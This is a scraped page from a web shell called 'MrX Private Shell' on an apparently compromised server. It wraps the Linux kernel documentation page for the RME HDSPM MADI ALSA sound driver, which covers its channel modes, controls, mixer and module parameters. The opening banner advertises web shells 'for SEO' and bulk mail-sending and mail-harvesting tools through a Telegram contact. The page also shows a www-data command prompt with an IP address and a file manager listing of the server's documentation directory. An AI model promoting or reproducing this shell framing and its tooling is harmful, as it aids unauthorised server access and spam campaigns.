__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.146: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Software Interface ALSA-DSP MADI Driver &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Serial UART 16450/16550 MIDI driver" href="serial-u16550.html" />
    <link rel="prev" title="Notes on Maya44 USB Audio Support" href="maya44.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../../input/index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../gpu/index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../fb/index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/sound/cards/hdspm.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="software-interface-alsa-dsp-madi-driver">
<h1>Software Interface ALSA-DSP MADI Driver<a class="headerlink" href="#software-interface-alsa-dsp-madi-driver" title="Link to this heading">¶</a></h1>
<p>(translated from German, so no good English ;-),</p>
<p>2004 - winfried ritsch</p>
<p>Full functionality has been added to the driver. Since some of
the Controls and startup-options  are ALSA-Standard and only the
special Controls are described and discussed below.</p>
<section id="hardware-functionality">
<h2>Hardware functionality<a class="headerlink" href="#hardware-functionality" title="Link to this heading">¶</a></h2>
<section id="audio-transmission">
<h3>Audio transmission<a class="headerlink" href="#audio-transmission" title="Link to this heading">¶</a></h3>
<ul>
<li><p>number of channels --  depends on transmission mode</p>
<blockquote>
<div><p>The number of channels chosen is from 1..Nmax. The reason to
use for a lower number of channels is only resource allocation,
since unused DMA channels are disabled and less memory is
allocated. So also the throughput of the PCI system can be
scaled. (Only important for low performance boards).</p>
</div></blockquote>
</li>
<li><p>Single Speed -- 1..64 channels</p></li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>(Note: Choosing the 56channel mode for transmission or as
receiver, only 56 are transmitted/received over the MADI, but
all 64 channels are available for the mixer, so channel count
for the driver)</p>
</div>
<ul class="simple">
<li><p>Double Speed -- 1..32 channels</p></li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Note: Choosing the 56-channel mode for
transmission/receive-mode , only 28 are transmitted/received
over the MADI, but all 32 channels are available for the mixer,
so channel count for the driver</p>
</div>
<ul class="simple">
<li><p>Quad Speed -- 1..16 channels</p></li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Choosing the 56-channel mode for
transmission/receive-mode , only 14 are transmitted/received
over the MADI, but all 16 channels are available for the mixer,
so channel count for the driver</p>
</div>
<ul>
<li><p>Format -- signed 32 Bit Little Endian (SNDRV_PCM_FMTBIT_S32_LE)</p></li>
<li><p>Sample Rates --</p>
<blockquote>
<div><p>Single Speed -- 32000, 44100, 48000</p>
<p>Double Speed -- 64000, 88200, 96000 (untested)</p>
<p>Quad Speed -- 128000, 176400, 192000 (untested)</p>
</div></blockquote>
</li>
<li><p>access-mode -- MMAP (memory mapped), Not interleaved (PCM_NON-INTERLEAVED)</p></li>
<li><p>buffer-sizes -- 64,128,256,512,1024,2048,8192 Samples</p></li>
<li><p>fragments -- 2</p></li>
<li><p>Hardware-pointer -- 2 Modi</p>
<blockquote>
<div><p>The Card supports the readout of the actual Buffer-pointer,
where DMA reads/writes. Since of the bulk mode of PCI it is only
64 Byte accurate. SO it is not really usable for the
ALSA-mid-level functions (here the buffer-ID gives a better
result), but if MMAP is used by the application. Therefore it
can be configured at load-time with the parameter
precise-pointer.</p>
</div></blockquote>
</li>
</ul>
<div class="admonition hint">
<p class="admonition-title">Hint</p>
<blockquote>
<div><p>(Hint: Experimenting I found that the pointer is maximum 64 to
large never to small. So if you subtract 64 you always have a
safe pointer for writing, which is used on this mode inside
ALSA. In theory now you can get now a latency as low as 16
Samples, which is a quarter of the interrupt possibilities.)</p>
</div></blockquote>
<ul class="simple">
<li><dl class="simple">
<dt>Precise Pointer -- off</dt><dd><p>interrupt used for pointer-calculation</p>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>Precise Pointer -- on</dt><dd><p>hardware pointer used.</p>
</dd>
</dl>
</li>
</ul>
</div>
</section>
<section id="controller">
<h3>Controller<a class="headerlink" href="#controller" title="Link to this heading">¶</a></h3>
<p>Since DSP-MADI-Mixer has 8152 Fader, it does not make sense to
use the standard mixer-controls, since this would break most of
(especially graphic) ALSA-Mixer GUIs. So Mixer control has be
provided by a 2-dimensional controller using the
hwdep-interface.</p>
<p>Also all 128+256 Peak and RMS-Meter can be accessed via the
hwdep-interface. Since it could be a performance problem always
copying and converting Peak and RMS-Levels even if you just need
one, I decided to export the hardware structure, so that of
needed some driver-guru can implement a memory-mapping of mixer
or peak-meters over ioctl, or also to do only copying and no
conversion. A test-application shows the usage of the controller.</p>
<ul class="simple">
<li><p>Latency Controls --- not implemented !!!</p></li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Note: Within the windows-driver the latency is accessible of a
control-panel, but buffer-sizes are controlled with ALSA from
hwparams-calls and should not be changed in run-state, I did not
implement it here.</p>
</div>
<ul class="simple">
<li><p>System Clock -- suspended !!!!</p>
<ul>
<li><p>Name -- “System Clock Mode”</p></li>
<li><p>Access -- Read Write</p></li>
<li><p>Values -- “Master” “Slave”</p></li>
</ul>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>!!!! This is a hardware-function but is in conflict with the
Clock-source controller, which is a kind of ALSA-standard. I
makes sense to set the card to a special mode (master at some
frequency or slave), since even not using an Audio-application
a studio should have working synchronisations setup. So use
Clock-source-controller instead !!!!</p>
</div>
<ul>
<li><p>Clock Source</p>
<ul>
<li><p>Name -- “Sample Clock Source”</p></li>
<li><p>Access -- Read Write</p></li>
<li><p>Values -- “AutoSync”, “Internal 32.0 kHz”, “Internal 44.1 kHz”,
“Internal 48.0 kHz”, “Internal 64.0 kHz”, “Internal 88.2 kHz”,
“Internal 96.0 kHz”</p>
<blockquote>
<div><p>Choose between Master at a specific Frequency and so also the
Speed-mode or Slave (Autosync). Also see  “Preferred Sync Ref”</p>
</div></blockquote>
</li>
</ul>
</li>
</ul>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>!!!! This is no pure hardware function but was implemented by
ALSA by some ALSA-drivers before, so I use it also. !!!</p>
</div>
<ul>
<li><p>Preferred Sync Ref</p>
<ul>
<li><p>Name -- “Preferred Sync Reference”</p></li>
<li><p>Access -- Read Write</p></li>
<li><p>Values -- “Word” “MADI”</p>
<blockquote>
<div><p>Within the Auto-sync-Mode the preferred Sync Source can be
chosen. If it is not available another is used if possible.</p>
</div></blockquote>
</li>
</ul>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Note: Since MADI has a much higher bit-rate than word-clock, the
card should synchronise better in MADI Mode. But since the
RME-PLL is very good, there are almost no problems with
word-clock too. I never found a difference.</p>
</div>
<ul>
<li><p>TX 64 channel</p>
<ul>
<li><p>Name -- “TX 64 channels mode”</p></li>
<li><p>Access -- Read Write</p></li>
<li><p>Values -- 0 1</p>
<blockquote>
<div><p>Using 64-channel-modus (1) or 56-channel-modus for
MADI-transmission (0).</p>
</div></blockquote>
</li>
</ul>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Note: This control is for output only. Input-mode is detected
automatically from hardware sending MADI.</p>
</div>
<ul>
<li><p>Clear TMS</p>
<ul>
<li><p>Name -- “Clear Track Marker”</p></li>
<li><p>Access -- Read Write</p></li>
<li><p>Values -- 0 1</p>
<blockquote>
<div><p>Don’t use to lower 5 Audio-bits on AES as additional Bits.</p>
</div></blockquote>
</li>
</ul>
</li>
<li><p>Safe Mode oder Auto Input</p>
<ul>
<li><p>Name -- “Safe Mode”</p></li>
<li><p>Access -- Read Write</p></li>
<li><p>Values -- 0 1 (default on)</p>
<blockquote>
<div><p>If on (1), then if either the optical or coaxial connection
has a failure, there is a takeover to the working one, with no
sample failure. Its only useful if you use the second as a
backup connection.</p>
</div></blockquote>
</li>
</ul>
</li>
<li><p>Input</p>
<ul>
<li><p>Name -- “Input Select”</p></li>
<li><p>Access -- Read Write</p></li>
<li><p>Values -- optical coaxial</p>
<blockquote>
<div><p>Choosing the Input, optical or coaxial. If Safe-mode is active,
this is the preferred Input.</p>
</div></blockquote>
</li>
</ul>
</li>
</ul>
</section>
<section id="mixer">
<h3>Mixer<a class="headerlink" href="#mixer" title="Link to this heading">¶</a></h3>
<ul>
<li><p>Mixer</p>
<ul>
<li><p>Name -- “Mixer”</p></li>
<li><p>Access -- Read Write</p></li>
<li><p>Values - &lt;channel-number 0-127&gt; &lt;Value 0-65535&gt;</p>
<blockquote>
<div><p>Here as a first value the channel-index is taken to get/set the
corresponding mixer channel, where 0-63 are the input to output
fader and 64-127 the playback to outputs fader. Value 0
is channel muted 0 and 32768 an amplification of  1.</p>
</div></blockquote>
</li>
</ul>
</li>
<li><p>Chn 1-64</p>
<blockquote>
<div><p>fast mixer for the ALSA-mixer utils. The diagonal of the
mixer-matrix is implemented from playback to output.</p>
</div></blockquote>
</li>
<li><p>Line Out</p>
<ul>
<li><p>Name  -- “Line Out”</p></li>
<li><p>Access -- Read Write</p></li>
<li><p>Values -- 0 1</p>
<blockquote>
<div><p>Switching on and off the analog out, which has nothing to do
with mixing or routing. the analog outs reflects channel 63,64.</p>
</div></blockquote>
</li>
</ul>
</li>
</ul>
</section>
<section id="information-only-read-access">
<h3>Information (only read access)<a class="headerlink" href="#information-only-read-access" title="Link to this heading">¶</a></h3>
<ul>
<li><p>Sample Rate</p>
<ul>
<li><p>Name -- “System Sample Rate”</p></li>
<li><p>Access -- Read-only</p>
<blockquote>
<div><p>getting the sample rate.</p>
</div></blockquote>
</li>
</ul>
</li>
<li><p>External Rate measured</p>
<ul>
<li><p>Name -- “External Rate”</p></li>
<li><p>Access -- Read only</p>
<blockquote>
<div><p>Should be “Autosync Rate”, but Name used is
ALSA-Scheme. External Sample frequency liked used on Autosync is
reported.</p>
</div></blockquote>
</li>
</ul>
</li>
<li><p>MADI Sync Status</p>
<ul>
<li><p>Name -- “MADI Sync Lock Status”</p></li>
<li><p>Access -- Read</p></li>
<li><p>Values -- 0,1,2</p>
<blockquote>
<div><p>MADI-Input is 0=Unlocked, 1=Locked, or 2=Synced.</p>
</div></blockquote>
</li>
</ul>
</li>
<li><p>Word Clock Sync Status</p>
<ul>
<li><p>Name -- “Word Clock Lock Status”</p></li>
<li><p>Access -- Read</p></li>
<li><p>Values -- 0,1,2</p>
<blockquote>
<div><p>Word Clock Input is 0=Unlocked, 1=Locked, or 2=Synced.</p>
</div></blockquote>
</li>
</ul>
</li>
<li><p>AutoSync</p>
<ul>
<li><p>Name -- “AutoSync Reference”</p></li>
<li><p>Access -- Read</p></li>
<li><p>Values -- “WordClock”, “MADI”, “None”</p>
<blockquote>
<div><p>Sync-Reference is either “WordClock”, “MADI” or none.</p>
</div></blockquote>
</li>
</ul>
</li>
<li><p>RX 64ch --- noch nicht implementiert</p>
<blockquote>
<div><p>MADI-Receiver is in 64 channel mode oder 56 channel mode.</p>
</div></blockquote>
</li>
<li><p>AB_inp   --- not tested</p>
<blockquote>
<div><p>Used input for Auto-Input.</p>
</div></blockquote>
</li>
<li><p>actual Buffer Position --- not implemented</p>
<blockquote>
<div><p>!!! this is a ALSA internal function, so no control is used !!!</p>
</div></blockquote>
</li>
</ul>
</section>
</section>
<section id="calling-parameter">
<h2>Calling Parameter<a class="headerlink" href="#calling-parameter" title="Link to this heading">¶</a></h2>
<ul>
<li><p>index int array (min = 1, max = 8)</p>
<blockquote>
<div><p>Index value for RME HDSPM interface. card-index within ALSA</p>
<p>note: ALSA-standard</p>
</div></blockquote>
</li>
<li><p>id string array (min = 1, max = 8)</p>
<blockquote>
<div><p>ID string for RME HDSPM interface.</p>
<p>note: ALSA-standard</p>
</div></blockquote>
</li>
<li><p>enable int array (min = 1, max = 8)</p>
<blockquote>
<div><p>Enable/disable specific HDSPM sound-cards.</p>
<p>note: ALSA-standard</p>
</div></blockquote>
</li>
<li><p>precise_ptr int array (min = 1, max = 8)</p>
<blockquote>
<div><p>Enable precise pointer, or disable.</p>
</div></blockquote>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>note: Use only when the application supports this (which is a special case).</p>
</div>
<ul>
<li><p>line_outs_monitor int array (min = 1, max = 8)</p>
<blockquote>
<div><p>Send playback streams to analog outs by default.</p>
</div></blockquote>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>note: each playback channel is mixed to the same numbered output
channel (routed). This is against the ALSA-convention, where all
channels have to be muted on after loading the driver, but was
used before on other cards, so i historically use it again)</p>
</div>
<ul>
<li><p>enable_monitor int array (min = 1, max = 8)</p>
<blockquote>
<div><p>Enable Analog Out on Channel 63/64 by default.</p>
</div></blockquote>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>note: here the analog output is enabled (but not routed).</p>
</div>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/sound/cards/hdspm.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
audigy-mixer.html File 27.3 KB 0644
audiophile-usb.html File 34.87 KB 0644
bt87x.html File 11.98 KB 0644
cmipci.html File 20.12 KB 0644
emu-mixer.html File 21.88 KB 0644
emu10k1-jack.html File 13.23 KB 0644
hdspm.html File 21.08 KB 0644
img-spdif-in.html File 10.37 KB 0644
index.html File 15.84 KB 0644
joystick.html File 13.8 KB 0644
maya44.html File 16.12 KB 0644
mixart.html File 13.18 KB 0644
pcmtest.html File 14.32 KB 0644
sb-live-mixer.html File 35.37 KB 0644
serial-u16550.html File 12.94 KB 0644
via82xx-mixer.html File 8.69 KB 0644
Filemanager